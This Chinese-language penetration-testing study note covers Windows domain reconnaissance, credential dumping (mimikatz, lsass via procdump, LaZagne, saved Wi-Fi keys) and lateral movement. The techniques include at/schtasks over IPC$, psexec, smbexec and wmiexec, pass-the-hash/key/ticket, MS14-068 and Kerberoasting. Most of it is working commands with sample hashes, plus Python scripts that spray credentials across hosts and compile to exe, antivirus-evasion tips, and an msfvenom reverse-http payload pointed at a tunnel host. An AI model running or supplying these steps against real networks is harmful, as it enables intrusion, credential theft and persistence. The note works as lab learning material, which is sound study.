内网安全|域横向|工作组|局域网探针


内网|基本概念

基本名词
1、DMZ区,即隔离区或非军事化区,是内网和外网间的缓冲区,用于放置一些必须公开的服务器,如web服务器。在保护了内部网络的同时,解决了安装防火墙后外部网络的访问用户不能访问内部网络服务器的问题。
2、工作组(Work Group)是局域网中的一个概念。它是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理,适合小型网络(不需要域管理器)。
3、域环境:和工作组类似,但是由域控制器(DC)–相当于root,统一管理,更适合大型网络
域环境不等于局域网。
4、活动目录(AD):相当于功能主机,域内实现什么功能由此管理。
5、单域、父域、子域;父域、子域这两个概念在多域情况下会产生。
6、域数、域森林
基本认知
1、Linux域渗透问题
Linux实现域的功能需要安装LDAP,功能不如域强且技术要求高,较少被使用,所以大部分是用win server实现域的功能。
2、局域网技术适用问题
有些局域网内的攻击方法在域内不生效
域通常指的是互联网上的一个区域,而局域网是指一个特定地理区域内的网络。因此,域和局域网并不等同。域通常指的是一个由一组计算机和网络设备组成的逻辑组织,可以跨越不同的地理位置,而局域网通常指的是一个特定地理区域内的网络,比如一个办公室、学校或者家庭网络。因此,域和局域网是不同的概念。
3、大概内网安全流程问题
信息收集-权限提升-横向渗透-权限维持
4、

1
2
对于一台主机,本地用户的权限通常比域内用户的权限更大。本地用户可以访问本地计算机上的所有资源和文件,而域内用户只能访问其在域中分配的权限和资源。但是,如果管理员在域中为某个域用户分配了本地管理员权限,那么该域用户的权限将与本地用户相同;
域内用户可以登录到域内任意一台主机,但是权限可能没有本地用户那么高,同时,域内主机可以配置为禁止域内用户登录,只允许本地登录。

内网|初学|具体分析

一、基本信息收集

旨在了解当前服务器的计算机基本信息,为后续判断服务器角色,网络环境等做准备
cmd输入

1
2
3
4
systeminfo 详细信息
net start 启动服务
tasklist 进程列表
schtasks 计划任务

其中,schtasks这条指令可能运行不了,可能是权限不够。

二、网络信息收集

旨在了解当前服务器的网络接口信息,为判断当前角色,功能,网络架构做准备
cmd输入

1
2
3
4
5
ipconfig /all 判断存在域:根据是否有“主DNS后缀”一栏判断是否存在域
net view /domain 判断存在域:能成功返回说明存在域
net time /domain 判断主域:会返回主域的时间,可以确定主域名,配合“nslookup”“ping”确定IP地址
netstat -ano 当前网络端口开放
nslookup 域名 追踪来源地址

其中
ipconfig /all可以判断当前计算机网络环境是否为工作组/域环境,根据是否有“主DNS后缀”一栏判断是否存在域环境。
假设域为god.org,有一台域控下的主机,webserver.god.org,还有dralin.webserver.god.org,那么就是多域的情况dralin.webserver.god.org是子域。
net time /domain 会返回主域的时间以及主域主机的名字
配合以下两条命令确定域控主机的IP地址

1
2
nslookup "net time /domain返回的主机名" 
ping net "time /domain返回的主机名"

三、用户信息收集

旨在了解当前计算机或域环境下的用户及用户组信息,便于后期利用凭据进行测试(爆破跑密码凭据)
系统默认常见用户(组)身份:
Domain Admins:域管理员(默认对域控制器有完全控制权)
Domain Computers:域内机器
Domain Controllers:域控制器
Domain Guest:域访客,权限低
Domain Users:域用户
Enterprise Admins:企业系统管理员用户(默认对域控制器有完全控制权)
所以主要攻击两个admins组内成员;知道大部分成员主机存在于域用户。
相关用户收集操作命令:

1
2
3
4
5
6
7
8
9
10
whoami /all 用户权限
net config workstation 登录信息
net user 本地用户
net localgroup 本地用户组
net user /domain 获取域用户信息
net group /domain 获取域用户组信息
wmic useraccount get /all 涉及域用户详细信息
net group "Domain Admins" /domain 查询域管理员账户
net group "Enterprise Admins" /domain 查询管理员用户组
net group "Domain Controllers" /domain 查询域控制器

要分清本地用户以及域用户,域用户在本机操作可能受限。因为本机的用户可能不属于本地管理员组且是域成员,权限不够,这也是要优先进行权限提升的原因

四、凭据信息收集

旨在收集各种密文,明文,口令等,为后续横向渗透做好测试准备
脚本
计算机用户 HASH,明文获取-mimikatz(win),mimipenguin(linux)
计算机各种协议服务口令获取-LaZagne(all),XenArmor(win)
计算机各种协议服务口令收集目标
1.站点源码备份文件、数据库备份文件等
2.各类数据库 Web 管理入口,如PHPMyAdmin
3.浏览器保存密码、浏览器 Cookies
4.其他用户会话、3389 和 ipc$连接记录、回收站内容
5.Windows 保存的 WIFI 密码
6.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA 等
反正就是收集电脑上有保存的隐私信息,这个还是挺重要的,拿到一台保存的密码后我可以以此作为字典,继续尝试看看其他的用户是否相同密码
命令
Netsh WLAN show profiles 查看自己电脑连接过的wifi
Netsh WLAN show profile name=”无线名称” key=clear 查看自己电脑连接过的wifi密码,其中的“关键内容”对应的就是密码。
1、mimikatz使用方法
作用:获取本计算机的所有用户的密码(登录凭据)。
适用于windows系统,需要高权限账户(所以要先权限提升)
获取权限

1
    privilege::debug

获取计算机信息,包括用户的账号密码

1
    sekurlsa::logonpasswords

2、mimipenguin使用方法
适用于Linux系统,有.py和.sh两个版本,需要高权限账户
3、LaZagne使用方法
全系统适用,从浏览器、聊天软件、数据库等获取账号密码
以windows版为例,运行该程序,选择all

1
    LaZagne.exe all

4、XenArmor使用方法
该软件收费
选择“setting”,选择需要搜索密码的协议,配置被破解软件的路径,“Save”
选择“Recover Passwords”

五、探针主机域控架构服务

为后续横向思路做准备,针对应用,协议等各类攻击手法
探针域控制器名及地址信息
net time /domain、nslookup、ping
探针域内存活主机及地址信息
nbtscan [网段]/nbtscan 192.168.3.0/24 第三方工具(但是要考虑免杀)

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL=" 自带内部命令(推荐)

nmap、masscan,第三方PowerShell脚本nishang、empire等

nishang使用方法

下载nishang后拖入待测主机
1、打开“Windows PowerShell”,来到软件所在的目录(可以Tab键补全)

1
    cd .\Desktop\nishang-master

2、导入模块nishang

1
   Import-Module .\nishang.psm1

3、设置执行策略(初次执行或导入不了时)

1
    Set-ExecutionPolicy RemoteSigned

4、获取模块nishang的命令函数
    Get-Command -Module nishang
成功进入后,输入对应的参数使用功能
1、获取常规计算机信息

1
   Get-Information

2、端口扫描(查看目录对应文件有演示语法,其他同理)

1
    Invoke-PortScan -StartAddress 192.168.3.0 -EndAddress 192.168.3.100 -ResolveHost -ScanPort

3、其他功能:删除补丁,反弹 Shell,凭据获取等

六、探针域内主机角色及服务信息

探针域内主机角色及服务信息
利用开放端口服务及计算机名判断
核心业务机器:
1.高级管理人员、系统管理员、财务/人事/业务人员的个人计算机
2.产品管理系统服务器
3.办公系统服务器
4.财务应用系统服务器
5.核心产品源码服务器(自建 SVN、GIT)
6.数据库服务器
7.文件或网盘服务器、共享服务器
8.电子邮件服务器
9.网络监控系统服务器
10.其他服务器(内部技术文档服务器、其他监控服务器等)

内网安全|横向渗透


内网横向渗透攻击思路
确保是以域内用户收集信息,以本地用户去进行横向渗透(不会受域控限制)
1、通过mimikatz收集明文或hash值的密码,“net user /domain”收集域内的用户名,“for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr “TTL=””探索域内存活地址
2、批量扫描,用密码撞库
3、收集更多密码
4、重复2、3步

横向渗透|域环境

域环境|传递

前提:前期信息收集获取到密码的明文或hash。
是获取的口令以及hash的传递攻击。
不会被系统杀掉,因为是系统自带的命令。

传递|at&schtasks

此法进行横向渗透:明文(一定一定是明文)传递at&schtasks(计划任务)
前提:开放139、445端口
1、作用:at&schtasks命令,可以在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。
2、思路:获取到某域主机权限->minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典->尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
3、利用流程
(1)、 建立IPC链接到目标主机
(2)、 拷贝要执行的命令脚本到目标主机
(3)、 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
(4)、 删除IPC链接
4、一些命令
(1)、建立IPC连接
连接工作组内主机

1
net use \\[IP]\ipc$"[密码]" /user:[用户名]

连接域内主机

1
net use \\[IP]\ipc$"[密码]" /user:[域名]\[用户名]

(2)、建立IPC常见的错误代码
1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
2)51:网络问题,Windows无法找到网络路径
3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
5)1219:提供的凭据和已存在的凭据集冲突,说明已建立ipc$,需要先删除
6)1326:账号密码错误
7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况
8)2242:用户密码过期,目标有账号策略,强制定期更改密码
(3)、建立IPC失败的原因
1)目标系统不是NT或以上的操作系统
2)对方没有打开ipc$共享
3)对方未开启139、445端口,或者被防火墙屏蔽
4)输出命令、账号密码有错误

传递|at

at < Windows2012
建立ipc连接

1
    net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator

拷贝执行文件(木马)到目标机器

1
    copy add.bat \\192.168.3.21\c$

添加计划任务

1
   at \\192.168.3.21 15:47 c:\add.bat
传递|schtasks

schtasks >=Windows2012
建立ipc连接

1
    net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator

复制文件(木马)到其C盘

1
    copy add.bat \\192.168.3.32\c$

创建adduser任务对应执行文件

1
   schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F

运行adduser任务

1
  schtasks /run /s 192.168.3.32 /tn adduser /i

删除adduser任务

1
  schtasks /delete /s 192.168.3.21 /tn adduser /f
网络协议工具包|impacket

获取到的密码为hash显示的话。at和schtasks都不支持hash值的密码,要解决需要用impacket工具包

1
2
3
4
5
6
    atexec.exe ./[用户名]:[密码]@[IP] "[命令]"
    atexec.exe [域名]/[用户名]:[密码]@[IP] "[命令]"
    atexec.exe -hashes [密码的hash值] ./[用户名]@[IP] "[命令]"
    atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
    atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
    atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

缺点是要导入到对方主机,要提前免杀。

基于上述传递渗透的综合进阶思路

重点1:横向渗透|明文HASH传递批量利用
实战中,我们获取到了一台主机的权限,我们可以使用mimikatz跑出当前主机administor的密码,然后将这个密码作为字典,去爆破所有存存活主机。
前提:导入impacket
1、一个密码对多个存活ip(ip作为字典)

1
2
3
   FOR /F %%i in ([每行一个IP.txt]) do atexec.exe ./[用户名]:[密码]@%%i "[命令]"
   FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami
ips.txt是存活主机的ip;admin!@#45@%%i是当前跑出的密码;若匹配则回显whami执行结果

2、多个密码单点爆破IP(密码作为字典)

1
2
   FOR /F %%i in ([每行一个密码.txt]) do atexec.exe ./[用户名]:%%i@[IP] "[命令]"
   FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami

3、如果不是明文,是hash

1
2
    FOR /F %%i in ([每行一个密码的hash值.txt]) do atexec.exe -hashes %%i ./[用户名]@[IP] "[命令]"
    FOR /F %%i in (hash.txt) do atexec.exe -hashes %%i ./administrator@192.168.3.21 whoami

4、用户作为字典
重点2:上述方法是只存在一个变量,我怎么保证每个都可以是变量(省时省力)
不需要引入impacket,通过是否成功建立ipc连接判断对应账号密码。
py脚本实现,然后把py脚本打包成exe文件,放在对方主机运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ips{
'ip1',
'ip2
}
users{
'user'
}
passs{
'pass'
}
for ip in ips:
for user in users:
for mima in passs:
exec="net use \\"+"\\"+ip+'ipc$'+mima+' /user:domain\\'+user
print('--->'+exec+'<---')
#os.system(exec)
time.sleep(1)
#domain:域;ips:存活ip;users:(域)用户;passs:收集的密码
#(当前用户为非域内用户)执行后net user看看,有收获
#随后,就是at|schtasks协议的复现,看上面即可。

随后:
安装pyinstaller

1
    pip install pyinstaller

生成可执行EXE

1
    pyinstaller -F [.py文件]

会生成一个同名的exe文件

传递|smb|wmi

前置知识
1、WDigest 是一个较旧的协议,已被认为不够安全,因为它存储用户密码的明文副本,这使得它容易受到攻击和密码泄露的风险。
2、Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
3、针对以上情况,我们提供了4种方式解决此类问题
(1)、利用哈希hash传递(pth、ptk等)进行哈希移动(哈希)
(2)、利用其它服务协议(SMB、WMI等)进行哈希移动(哈希)
(3)、利用注册表操作开启Wdigest Auth值进行获取(明文)

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

(4)、利用工具或第三方平台(Hachcat)进行破解获取(明文)
感觉就是枚举、爆破、碰撞获取明文
hashcat:https://zhuanlan.zhihu.com/p/567771788

1
hashcat -a 0 -m 1000 hash file --force

Procdump(微软官方-支持全系统)+Mimikatz配合获取密码
当mimikatz获取失败时配合procdump获取密码

1
2
3
4
5
生成储存着密码hash值的.dmp文件(可以在自己的电脑运行后拖到目标主机)
    procdump -accepteula -ma lsass.exe lsass.dmp
将dmp文件放到mimikatz上执行(可以获取自己电脑的密码)
    sekurlsa::minidump lsass.dmp
    sekurlsa::logonPasswords full

新思路:在实战情况下,mimikatz可能会被干掉,那么只需要在目标主机运行procdump生成.dmp文件,然后拖到自己的电脑配合mimikatz爆目标的密码
附两款提取密码的软件
Pwdump7
QuarksPwdump
4、Windows系统LM Hash及(NTLM Hash–优先考虑)加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。

传递|SMB

利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
1、pstools--建立在获取到明文密码
psexec.exe第一种:先有ipc链接,psexec需要明文或hash传递
需要先有ipc链接,-s以System权限运行

1
2
3
4
5
6
建立ipc连接 
   net use \\[IP]\ipc$"[密码]" /user:[用户名]
   net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
横向渗透
    psexec \\[IP] -s cmd
    psexec \\192.168.3.32 -s cmd

psexec.exe第二种:不用建立IPC直接提供明文账户密码

1
2
psexec \\[IP] -u [用户名] -p [密码] -s cmd
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd 

若使用psexec.exe时,获取不到明文仅获取到hash时

1
2
psexec -hashes :[密码的hash值] [域名]/[用户名]@[IP]
psexec -hashes :$HASH$ domain/administrator@10.1.2.3

官方Pstools无法采用hash连接,还是可以使用impacket工具包,操作简单,容易被杀
2、smbexec无需先ipc链接
明文或hash传递都可以,但是这个是集成在impacket内的(也要考虑免杀)。

1
2
3
4
5
6
7
8
9
10
11
连接域内用户
    smbexec [域名]/[用户名]:[密码]@[IP]
    smbexec god/administrator:Admin12345@192.168.3.21
连接本地用户
    smbexec ./[用户名]:[密码]@[IP]
    smbexec ./administrator:admin!@#45@192.168.3.32
当仅仅获取到hash
    smbexec -hashes :[密码的hash值] ./[用户名]@[IP]
    smbexec -hashes :$HASH$ ./admin@192.168.3.21
    smbexec -hashes :[密码的hash值] [域名]/[用户名]@[IP]
    smbexec -hashes :$HASH$ domain/admin@192.168.3.21
传递|WMI

域横向移动WMI服务利用-cscript、wmiexec、wmic
WMI(Windows Management Instrumentation)是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。(这个协议好像仅仅支持连接administor,连接其他用户使用其他协议)
1、win自带WMIC明文传递,无回显(感觉较为鸡肋)

1
2
3
    wmic /node:[IP] /user:[用户名] /password:[密码] process call create "[命令]"
    wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"
(运行cmd,执行ipconfig并将结果输出到C盘下的1.txt中)

2、win自带cscript明文传递,有回显,需要下载wmiexec.vbs配合

1
2
3
    cscript //nologo wmiexec.vbs /shell [IP] [用户名] [密码]
    cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
会反弹一个shell

下载网址:https://gitee.com/mirrors/K8tools/blob/master/wmiexec.vbs
3、套件impacket wmiexec明文或hash传递,有回显exe版本,可能被杀

1
2
3
4
5
6
7
8
    wmiexec ./[用户名]:[密码]@[IP] "[命令]"
    wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
    wmiexec [域名]/[用户名]:[密码]@[IP] "[命令]"
    wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
    wmiexec -hashes :[密码的hash值] ./[用户名]:[密码]@[IP] "[命令]"
    wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
    wmiexec -hashes :[密码的hash值] [域名]/[用户名]:[密码]@[IP] "[命令]"
    wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
基于上述传递渗透的综合利用思路

域横向移动以上服务hash批量利用-python编译exe
利用py脚本制作的exe文件批量尝试横向渗透,方便省事,对于仅仅获取到hash的要提一嘴:不同字符串的hash可能一样,所以我们可以利用这个特点,去进行hash碰撞
这里提供一个脚本(py可以进行免杀)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import os,time

ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}

users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}

hashs={
#'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}

for ip in ips:
for user in users:
for mimahash in hashs:
#域用户和本地用户都试试
#wmiexec -hashes :hash god/user@ip whoami
#wmiexec -hashes :hash ./user@ip whoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
exec1 = "wmiexec -hashes :"+mimahash+" ./"+user+"@"+ip+" whoami"
print('--->' + exec + '<---')
print('--->' + exec1 + '<---')
os.system(exec)
os.system(exec1)
time.sleep(0.5)

编译成exe文件

1
pyinstaller -F fuck_neiwang_002.py

传递|阶段总结

引出下一个重要内容

假设对于impacket等免杀不过去,那就要提到PTH、PTT、PTK了。

传递|PTH|PTK|PTT

重要
PTH(pass the hash)         #利用lm或ntlm的值进行的渗透测试
PTT(pass the ticket)        #利用的票据凭证TGT进行的渗透测试
PTK(pass the key)           #利用的ekeys aes256进行的渗透测试
1、PTH和PTK
PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
2、PTT
PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。
基于MS14-068漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)
其中Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术(后面详细说)
MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780
Kerberos协议具体工作方法,在域中:
客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)。
将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据。
然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测。
检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。 (TGT类似于cookie,应该这样理解)
所以,PTT和另外两个不同,因为PTT所使用的协议和另外两个不同

传递|PTH

域横向移动PTH传递-mimikatz

1
2
3
4
5
6
7
8
9
10
11
#获取权限
    privilege::debug
PTH ntlm传递
#在未打补丁的工作组及域连接:
    sekurlsa::pth /user:[用户名] /domain:[域名或“workgroup”] /ntlm:[ntlm的值]
    sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
#“domain”的值为“workgroup”时,连接的是本地用户
#成功会自动创建一个cmd,可以通过该cmd操作对应用户名的机器,如
#查看C盘目录
    dir \\192.168.3.21\c$
#IP地址不识别可以换成计算机名

1、注意:攻击时我们不知道IP、计算机名与用户名对应的情况,所以这是随机攻击,需要再测试看是哪个IP、计算机名对应的电脑被攻击了(还是要看前期信息收、集,直接写脚本跑,看哪个存在回显就是连接到哪台主机的哪个用户)
2、有话说:如果禁用了ntlm认证,PsExec(利用SMB服务传递hash|明文那个)无法利用获得的ntlm hash进行远程连接,但是使用mimikatz(PTH)还是可以攻击成功。对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现PTK攻击。
ps:KB2871997补丁后的影响
pth:没打补丁用户都可以连接,打了补丁只能administrator连接
ptk:必须打了上面那个补丁用户才可以连接(也就是说PTH受补丁限,可以考虑使用PTK),采用aes256连接
https://www.freebuf.com/column/220740.html
顺便提一嘴:补丁信息通过“systeminfo”查看。

传递|PTK

域横向移动PTK传递-mimikatz
PTK aes256传递
打补丁后的工作组及域连接:

1
2
3
4
5
6
7
获取权限
    privilege::debug
获取aes值
    sekurlsa::ekeys
连接
    sekurlsa::pth /user:[用户名] /domain:[域名或“workgroup”] /aes256:[aes256的值]
    sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e
传递|PTT

域横向移动PTT传递-ms14068&kekeo&本地
1、利用漏洞ms14-068(类似于cookie伪造)
作用:能实现域内普通用户直接获取域控system权限
操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
MS14-068 powershell执行
1.查看当前sid
    whoami /user
2.启动mimikatz,不需要提升权限,能用就行
(清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造)
    kerberos::purge
查看当前机器凭证
    kerberos::list
将票据注入到内存中
    kerberos::ptc [票据文件]
3.利用ms14-068生成TGT数据
    ms14-068.exe -u [域成员名]@[域名] -s [sid] -d [域控IP地址] -p [域成员密码]
    MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 - p admin!@#45
4.票据注入内存
    kerberos::ptc TGT_mary@god.org.ccache
5. 查看凭证列表
    klist
6.利用
    dir \\192.168.3.21(这里好像只可以计算机名)\c$

2、利用工具kekeo

1
2
3
4
5
6
7
8
9
10
生成票据
    .\kekeo "tgt::ask /user:[域成员名] /domain:[域名] /ntlm:[ntlm值]"
    .\kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695d……"
导入票据
    kerberos::ptt [票据文件]
    kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
查看凭证
    klist
利用net use载入
    dir \\192.168.3.21\c$

3、利用本地票据(需管理权限-应该是类似于cookie窃取)
若在票据存活时间内有人连接过,就是收集本机之前连接过的票据收集起来,看还有没有效果。
利用mimikatz收集本地票据,再将票据导入到内存中进行连接。有存活时间限制

1
2
3
    privilege::debug
    sekurlsa::tickets /export
    kerberos::ptt [票据文件]

传递|RDP

RDP协议

是一种远程的连接的协议,linux的ssh,windows的RDP(需要3389端口)。
域横向移动RDP传递-Mimikatz
除了上述讲到的IPC,WMI,SMB等协议的链接外,获取到的明文密码或HASH密文也可以通过RDP协议(远程桌面)进行链接操作。
1、判断对方远程桌面服务是否开启(默认:3389),端口扫描判断
2、RDP明文密码链接

1
2
3
Windows:mstsc(远程桌面连接)-输入账号密码
Windows命令行:mstsc.exe /console /v:[IP] /admin
Linux:(需要安装rdesktop)rdesktop [IP]

3、RDP密文HASH链接
windows Server需要开启Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启
同时如果Win 7和Windows Server 2008 R2安装了2871997、2973351补丁也支持,不过要开启cmd命令修改注册表:

1
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

4、通过mimikatz链接

1
2
3
4
mstsc.exe /restrictedadmin
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"

域环境|SPN

SPN扫描

1、当计算机加入域时,主SPN会自动添加到域的计算机账号的ServicePrincipalName属性中。在安装新的服务后,SPN也会被记录在计算机账号的相应属性中。
2、SPN扫描也称为“扫描Kerberos服务实例名称”。在活动目录中发现服务的最佳方法就是SPN扫描。SPN扫描通过请求特定SPN类型的服务主体名称来查找服务。与网络端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口(不会因为触发内网中的IPS、IDS等设备的规则而产生大量的警告日志)。因为SPN查询是Kerberos票据行为的一部分,所以检测难度很大,因此,被防护软件拦截的可能性比nmap扫描低。
3、由于SPN扫描是基于LDAP协议向域控制器进行查询的,所以,攻击者只需要获得一个普通的域用户权限,就可以进行SPN扫描。
简而言之:在域环境中发现服务的最好办法就是通过“SPN扫描”通过请求特定SPN类型服务主体名称来查找服务。

基于SPN扫描的攻击

域横向移动SPN服务-探针,请求,导出,破解,重写
https://www.cnblogs.com/backlion/p/8082623.html
过程:黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。
具体操作
以下操作都在PowerShell进行
1、探针(探针域内全部主机存在什么SPN服务)
什么权限都可以完成探针

1
2
3
4
5
#探测域内服务
    setspn -q */*
#寻找特定服务
    setspn -q */* | findstr "[服务名]"
#找到合适的服务作为攻击目标,回显要保存下来。

2、请求(请求我们需要的服务)
清空当前机器中的凭证,防止影响下面的操作(可以不删除)

1
2
3
4
5
6
7
#查看已有票据
    klist
#删除已有票据
    klist purge
#请求对应服务
    Add-Type -AssemblyName System.IdentityModel
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "[服务名(之前探针到的)]"

或使用mimikatz请求

1
    mimikatz.exe "kerberos::ask /target:[服务名]"

3、导出

1
2
3
#导出凭据
    mimikatz.exe "kerberos::list /export"
#利用mimikatz导出,会导出到mimikatz所在的目录

4、破解
破解凭据
可以将凭证复制到本地破解,避免提交破解的脚本
使用tgsrepcrack.py脚本加爆破字典来破解

1
2
3
4
#将凭据放在脚本文件目录中后
    python3 .\tgsrepcrack.py .\[密码文件.txt] .\[凭据.kirbi]
    python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvcSrv-DB-0day.0day.org1433-0DAY.ORG.kirbi
#破解成功会把被攻击的服务账户的明文密码显示出来,再想办法利用密码

破解后,我多了一个用户|登录服务的密码,我可以那这个密码连接对应服务,或作为字典继续爆破;也可以进行重写
5、重写--进行提权?
类似于之前的PTT。

1
2
3
4
5
6
#使用kerberoast.py和密码重写凭据(重新生成TGT)
    python kerberoast.py -p [得到的密码] -r [已有的凭据.kirbi] -w [新凭据的名字.kirbi] -u 500
    python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500
    python kerberoast.py -p [得到的密码] -r [已有的凭据.kirbi] -w [新凭据的名字.kirbi] -g 512
    python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
#“-u 500”指管理员,“-g 512”指管理员组
1
2
3
#将生成的票据注入内存
    mimikatz.exe kerberos::ptt [票据文件.kirbi]
    mimikatz.exe kerberos::ptt xxxx.kirbi

用重写的凭据来链接,不一定成功连接管理员账户,且一般只能得到普通用户权限
结语
在使用cs工具时,内网的每台主机必须存在一张连接外网的网卡,cs才可成功控制。
如何克服:隧道代理。即,不是有一台是连接外网的吗,我就把这台连接外网的主机当作一个跳板,随后,其他主机通过这个隧道转发出去。
正向连接:自己连接靶机;反向连接:靶机反弹给自己的主机。
这就是下次要学习的内容。

横向渗透|穿透

穿透|代理

作用:两个内网的通信、也可以稍微解决一些防火墙的拦截

代理|基础知识

1.区分内外网
IPv4地址设计时保留了一部分作为私有地址,它们不会被当作共有地址分配出去,而是只在局域网内使用
地址段                            掩码
10.x.x.x                       255.0.0.0
172.16.x.x-172.31.x.x     255.240.0.0
192.168.x.x                    255.255.0.0
2.内网间的通信问题
使用代理技术,不然无法通信
3.正向反向协议通信连接问题
正向:控制端到被控端
反向:被控端到控制端
一般都是反向连接?因为正向连接,内网ip不唯一,找不到;就算内网主机拥有一个外网的网卡(应该说是通过路由器可以访问到外网),可能因为路由配置(即:这个公网ip是路由器的)或者防火墙的限制也可能连接不上。

代理|具体分析


1、一般的木马是走http或tcp协议的,所以设置代理时,要选对协议。
2、使用Ngrok时,要注意msf生成木马的指令

1
2
3
msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o
#reverse_http,代表木马传输数据走的是http协议,后面的lport端口也要写80;lhost写的是代理的ip
#然后将木马上传到肉鸡,运行即可。

3、建议使用frp,但是需要一台黑黑的服务器,自建跳板。
具体使用frp
(1)、服务端-下载-解压-修改-启动(阿里云主机记得修改安全组配置出入口)

1
2
3
4
5
服务器修改配置文件frps.ini:
[common]
bind_port = 6677            #frps工作端口,必须和frpc保持一致(msf与服务器连接的端口)
启动服务端:
./frps -c ./frps.ini

(2)、控制端-下载-解压-修改-启动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
控制端修改配置文件frpc.ini:
